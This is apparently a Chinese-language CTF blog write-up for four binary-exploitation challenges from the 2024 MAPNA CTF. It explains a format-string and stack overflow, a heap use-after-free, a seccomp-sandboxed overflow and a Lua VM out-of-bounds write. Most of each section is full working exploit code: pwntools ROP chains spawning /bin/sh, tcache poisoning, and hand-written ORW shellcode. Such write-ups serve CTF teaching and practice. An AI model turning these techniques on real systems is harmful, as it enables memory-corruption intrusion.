2024 mapna CTF

xsh 发布于

ninipwn - 新手

key 是 8 字节的，但是读入了 10 字节，可以溢出到 text_length ，导致 text_length 超过 buf 长度，能够栈溢出，并且存在格式化字符串漏洞。

1.通过格式化字符串漏洞泄露 canary 和 libc_base

2.通过栈溢出进行 ROP

3.注意 ROP payload 需要经过 encrypt 处理，其实就是一个简单的异或算法

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def get_rdi_ret(rop, base) : return base + rop.find_gadget(['pop rdi', 'ret']).address, base + rop.find_gadget(['ret']).address
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')

#p = remote('47.238.36.100', 9999)

elf_patch = './ninipwn'
p = process(elf_patch)
elf = ELF(elf_patch)
elf_rop = ROP(elf_patch)

libc_patch = '/lib/x86_64-linux-gnu/libc.so.6'
if len(libc_patch):
	libc = ELF(libc_patch)
	libc_rop = ROP(libc_patch)

#ld = ELF('./lib/ld-linux-x86-64.so.2')

#debug('b *$rebase(0x12ac)' + '\nc'*0x108)

def encrypt(data, key):
    text_length = len(data)
    key_length = len(key)
    encrypted_data = bytearray(data)

    for i in range(text_length):
        encrypted_data[i] ^= key[i % key_length]

    return bytes(encrypted_data)

#debug('b *$rebase(0x1421)')

sla(b'length: ', str(0x100))

key = b'%39$p%3$p\x02'

sa(b'Key: ', key)
rl(b'0x')
canary = int(r(16), 16)
rl(b'0x')
libc_base = int(r(12), 16) - 23 - libc.sym['write']

rdi, ret = get_rdi_ret(libc_rop, libc_base)
system, binsh = get_sb()
rsi = libc_base + 0x000000000002be51
rdx = libc_base + 0x0000000000170337
execve = libc_base + libc.sym['execve']

pl = b'a'*0x108 + p64(canary) + b'a'*8 + p64(rdi) + p64(binsh) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(execve)

sa(b'Text: ', encrypt(pl, key[:8]))

lg('canary', canary)
lg('libc_base', libc_base)

#sl(b'cat flag')

#pause()
inter()

buggypaint - 简单

b41e3bc258ec95342bfcf461427eec7d

select 功能可以保存 create 功能创建的堆块指针，但是 delete 功能释放堆块时候不会清空 select 保存的堆块指针，这就导致了 UAF

可以很简单利用 tcache bin attack 进行任意读写，这里是通过 environ 泄露栈之后进行 ROP

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def get_rdi_ret(rop, base) : return base + rop.find_gadget(['pop rdi', 'ret']).address, base + rop.find_gadget(['ret']).address
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64')#, log_level='debug')
#p = remote('47.238.36.100', 9999)
elf_patch = './chall'
libc_patch = './libc.so.6'
p = process(elf_patch)
elf = ELF(elf_patch)
elf_rop = ROP(elf_patch)
libc = ELF(libc_patch)
libc_rop = ROP(libc_patch)
#ld = ELF('./lib/ld-linux-x86-64.so.2')

def add(x, y, w, h, data):
	sla(b'> ', b'1')
	sla(b'x: ', str(x))
	sla(b'y: ', str(y))
	sla(b'width: ', str(w))
	sla(b'height: ', str(h))
	sla(b'color(1=red, 2=green): ', b'1')
	sa(b'content: ', data)
def delete(x, y):
	sla(b'> ', b'2')
	sla(b'x: ', str(x))
	sla(b'y: ', str(y))
def select(x, y):
	sla(b'> ', b'3')
	sla(b'x: ', str(x))
	sla(b'y: ', str(y))
def edit(data):
	sla(b'> ', b'4')
	sa(b'content: ', data)
def show():
	sla(b'> ', b'5')

for i in range(9):
	add(4, i, 0x10, 0x10, b'a')	
select(4, 7)
for i in range(8):
	delete(4, i)
show()
rl(b'Box content:\n')
libc_base = u64(r(8)) - 0x219ce0

add(3, 3, 0x10, 0x11, b'a')
select(3, 3)
delete(3, 3)
show()
rl(b'Box content:\n')
key = u64(r(8))
heap_base = key << 12

add(5, 0, 0x10, 0x1, b'a')
add(5, 1, 0x10, 0x1, b'a')
select(5, 0)
delete(5, 1)
delete(5, 0)

environ = libc_base + libc.sym['__environ']
ptr = heap_base + 0xaa0
edit(p64(ptr ^ key))
add(5, 2, 0x10, 0x1, b'a')
add(5, 3, 0x10, 0x1, p64(0x8) + p64(environ))
show()
rl(b'Box content:\n')
stack = u64(r(8))

add(1, 0, 0x1e, 0x1e, b'a')
add(0, 1, 0x1e, 0x1e, b'a')
select(1, 0)
delete(0, 1)
delete(1, 0)

edit(p64((stack - 0x148) ^ key))

add(0, 2, 0x1e, 0x1e, b'a')

#debug('b *$rebase(0x1965)')

rdi, ret = get_rdi_ret(libc_rop, libc_base)
system, binsh = get_sb()

pl = b'a'*8 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)

add(2, 0, 0x1e, 0x1e, pl)

lg('stack', stack)
lg('key', key)
lg('libc_base', libc_base)

inter()
#debug()
pause()

protector - 简单

0fa5160d65ef941ee7b0c2d8b382833b

一个开启了沙箱的栈溢出程序，明显需要 orw ，但是其中的 generate_directory_tree.py 会将 flag 藏入随机生成的 0x100 个文件中的一个。

026aab2e2ea12ad1e327ec1349680936

出题人也留了 getdents 系统调用用来读取文件夹下的目录，可以用 mprotect ，直接用 shellcode 更加方便，直接让 gpt 写一个例子

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <errno.h>
#include <stdint.h>  // For uint64_t and int64_t

#define BUF_SIZE 1024

typedef uint64_t u64;
typedef int64_t s64;

struct mylkm_linux_dirent {
    u64            d_ino;
    s64            d_off;
    unsigned short d_reclen;
    char           d_name[];
};

int main() {
    int fd;
    ssize_t nread;
    char buf[BUF_SIZE];

    fd = open("./maze", O_RDONLY | O_DIRECTORY);
    if (fd == -1) {
        perror("open");
        return 1;
    }

    while ((nread = syscall(SYS_getdents, fd, (struct mylkm_linux_dirent *)buf, BUF_SIZE)) > 0) {
        for (int bpos = 0; bpos < nread;) {
            struct mylkm_linux_dirent *d = (struct mylkm_linux_dirent *)(buf + bpos);
            printf("%s\n", d->d_name);
            bpos += d->d_reclen;
        }
    }

    if (nread == -1) {
        perror("getdents");
        return 1;
    }

    close(fd);
    return 0;
}

这里显然需要知道 d_name 和 d_reclen 的偏移是多少，才能搓汇编

IDA 直接反汇编

a71807dfc724c70db8cd5776cb3e60b9

可以看到， bpos + 0x12 是文件名，bpos + 0x10 是下个文件结构体的基址，于是根据这个信息就可以手搓汇编了，先写出遍历所有文件的 shellcode，再补充 orw 进去。

需要注意的是，getdents 要读 0x100 个文件的信息，所以我把信息保存到 libc_base + 0x21c000 中

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def get_rdi_ret(rop, base) : return base + rop.find_gadget(['pop rdi', 'ret']).address, base + rop.find_gadget(['ret']).address
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64')#, log_level='debug')

#p = remote('47.238.36.100', 9999)

elf_patch = './chall'
p = process(elf_patch)
elf = ELF(elf_patch)
elf_rop = ROP(elf_patch)

libc_patch = '/lib/x86_64-linux-gnu/libc.so.6'
if len(libc_patch):
	libc = ELF(libc_patch)
	libc_rop = ROP(libc_patch)

#ld = ELF('./lib/ld-linux-x86-64.so.2')

#debug('b *0x000000000040116c')	

rdi_rsi_rdx = 0x00000000004014d9
ret = 0x000000000040101a
rbp = 0x00000000004011dd
leave = 0x000000000040148c

buf = elf.bss() + 0x300

pl = p64(buf) + p64(ret) + p64(rdi_rsi_rdx) + p64(elf.got['printf']) + p64(0)*2 + p64(elf.sym['printf']) + p64(rdi_rsi_rdx) + p64(0) + p64(buf) + p64(0x1000) + p64(elf.sym['read']) + p64(leave)

sa(b'Input: ', b'a'*0x20 + pl)

libc_base = u64(r(6).ljust(8, b'\x00')) - libc.sym['printf']
mprotect = libc_base + libc.sym['mprotect']
rax = libc_base + 0x0000000000045eb0
jmp_rax = 0x000000000040116c

pl = p64(0) + p64(rdi_rsi_rdx) + p64(0x404000) + p64(0x3000) + p64(7) + p64(mprotect) + p64(rax) + p64(buf + 0x48) + p64(jmp_rax)

maze = libc_base + 0x21c000

sc = shellcraft.open('./maze') + shellcraft.getdents(3, maze, 0x10000)
sc += '''
mov rsp, r12;
mov r10, rsi;
xor r11, r11;
mov [rsp], r11;
mov r9, 0x2f657a616d2f2e00;
orw:
	mov rdi, r10;
	add rdi, [rsp];
	add rdi, 0x12;
	mov r8, rdi;
	
	sub rdi, 2;
	mov rdi, [rdi];	
	and rdi, 0xffff;
	add [rsp], rdi;
	
	mov rdi, r8;
	
	sub rdi, 8;
	mov [rdi], r9;
	add rdi, 1;
	
	mov eax, 2;
	xor rsi, rsi;
	xor rdx, rdx;
	syscall
	
	push rax;
	pop rdi;
	mov rsi, 0x404090;
	mov rdx, 0x50;
	mov eax, 0;
	syscall;
	
	mov rdi, 1;
	mov rax, 1;
	syscall;
	
	jmp orw;
'''

pl += asm(sc)

s(pl)

rl(b'MAPNA')
pr()
pause()

u2s 偏难

这道题偏难的原因是该题是一个 c 语言实现的 lua 虚拟机，如果不熟悉 lua 语言会比较难做。

题目给了 diff 文件，其中重点关注的是

1
2
3
4
5
6
7
8
9
10
11
12
diff --git a/src/lvm.h b/src/lvm.h
index dba1ad2..485b5aa 100644
--- a/src/lvm.h
+++ b/src/lvm.h
@@ -96,7 +96,7 @@ typedef enum {
 #define luaV_fastgeti(L,t,k,slot) \
   (!ttistable(t)  \
    ? (slot = NULL, 0)  /* not a table; 'slot' is NULL and result is 0 */  \
-   : (slot = (l_castS2U(k) - 1u < hvalue(t)->alimit) \
+   : (slot = (l_castU2S(k) - 1u < hvalue(t)->alimit) \
               ? &hvalue(t)->array[k - 1] : luaH_getint(hvalue(t), k), \
       !isempty(slot)))  /* result not empty? */

luaV_fastgeti 定义在查阅资料后发现是用于获取 Lua 表（table）中整数键（integer keys）对应的值，那么说明这个 patch 会导致 oob，还有其它 patch 是限制了读文件、命令执行等，就不详细说。

一开始做这个题目，想着用下面的 poc

1
2
3
local ptr_a = {1, 2, 3 ,4 ,5}
print(ptr_a[-1])
print(ptr_a[7])

结果读出来的都是 nil，就比较怀疑是不是 oob 了

接着测试下面的 poc

1
2
local ptr_a = {"stopstop", 2, 3 ,4 ,5}
print(ptr_a[1])

通过打断点到 write

325cb2be0d46af5dfa4e554f694f5653

可以直接跑到 print 函数的底层 write 处，通过栈回溯

2995cb6424e5ad1909e50a60c5d2d3fb

可以判断出 luaB_print 是用来输出数组元素的

412ba4989eb7b2d59e91b7902ee90dc0

其中的 luaL_tolstring 函数就是用来在列表中找值的，不过直接调试，发现 luaL_tolstring 是没有越界的。

接着测试和数组相关的代码，继续调试的话，会发现

1
2
3
4
local ptr_a = {0x11223344, 2, 3 ,4 ,5, 6}
print(ptr_a[1])

ptr_a[-5] = 0xaabbccdd

上面的 poc 存在负向溢出写

调试 gdb 配置如下

1
2
3
4
5
set args ./poc
start
b luaB_print
b exit
c

这样就可以在进入 luaB_print 和 exit 时候各看一次数组的变化，来判断出存在什么漏洞

9c57c3fa3ea70c1d909dcb8bab284400

直接数据搜索可以看到列表是存在于堆块上的，接下来继续走会 crash

0752fdb4b1d40ad324d14d420a58f538

并且被写上去了，所以到这里就确定漏洞是数组的负向溢出写

由于一些功能被禁用了，所以没有办法直接泄露出地址，如果要通过堆，那么就需要一个稳定的堆布局

fb3567e5c69c41e00a0ed78f798e3216

需要把堆都申请下，这里如果调试会发现，字符串也是放在堆块上的，并且申请的堆块大小是 字符串大小 + 0x28

有了稳定的堆布局之后，就可以进行堆地址泄露

1
2
3
4
5
6
7
8
9
10
local ptr_a = string.rep('e', 0x100)
local ptr_b = {0x11223344, 0x2, 0x3, 0x4, 0x5, 0x6}

ptr_b[-10] = print

local pro_base = u64(string.sub(ptr_a, 0x68, 0x80)) - 0x376d4
print("pro_base -> ", intToHex(pro_base))
local ste = pro_base + 0x3a2dd
local pr = pro_base + 0x376d4
print("system -> ", intToHex(ste))

我一开始用两个列表，但是 print 时候一直报错

这样就获得了程序基址，接着就可以直接调用了

这是一个直接调用的 poc

1
2
3
4
5
6
7
8
9
10
local ptr_a = {}

ptr_a[1] = print
ptr_a[2] = 0x11223344
ptr_a[3] = 3
ptr_a[4] = 4
ptr_a[5] = 5
ptr_a[6] = 6

(ptr_a[1])(ptr_a[2])

由于某些功能被禁用了，所以要调用 system 的话，得通过负向溢出调用伪造的数组

43a53b8c927b2dce40197caeafa198bf

调试发现的话，print 是 函数地址 + p8(0X16) , 而单纯数据的话，就是 value + p8(0x3)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
function intToHex(number)
    local hexDigits = "0123456789ABCDEF"
    local hexString = ""
    
    while number > 0 do
        local digit = number % 16
        hexString = hexDigits:sub(digit + 1, digit + 1) .. hexString
        number = math.floor(number / 16)
    end
    
    return hexString
end

function u64(s) 
	local result = 0
	for i= 8, 2, -1 do
		local num = string.byte(string.sub(s,i,i+1))
		result = (result << 8) + num
	end
	return result
end

function p64(d)
	local s = "";
	for i = 0, 7 do
		s = s .. string.char((d >> (i * 8)) & 0xff)
	end
	return s;
end

-- step 1 : set heap

local command = "./readflag"
local heap = {}
count = 1
for i = 0x10, 0x500, 0x10 do
	for j=1, 8 do
		heap[count] = string.rep('a', i)
		count = count + 1
	end
end

-- step 2 : leak pro_base

local ptr_a = string.rep('e', 0x100)
local ptr_b = {0x11223344, 0x2, 0x3, 0x4, 0x5, 0x6}

ptr_b[-10] = print

local pro_base = u64(string.sub(ptr_a, 0x68, 0x80)) - 0x376d4
print("pro_base -> ", intToHex(pro_base))
local ste = pro_base + 0x3a2dd
local pr = pro_base + 0x376d4
print("system -> ", intToHex(ste))

-- step 3 : run os_execute

local ptr_c = p64(0) .. p64(0x1111)
	.. p64(0) .. p64(0x2222) .. p64(0) .. p64(0x3333) .. p64(0) .. p64(ste) .. p64(0x16)
local ptr_d = {0x22334455, 0x2, 0x3, 0x4, 0x5, 0x6}
(ptr_d[-5])(command)
xsh

xsh

菜狗罢了

5
4
5
NOTICE

欢迎来到我的二进制世界

CATEGORIES
TAGS
R3CTF mapna readme tinyproxy 内网穿透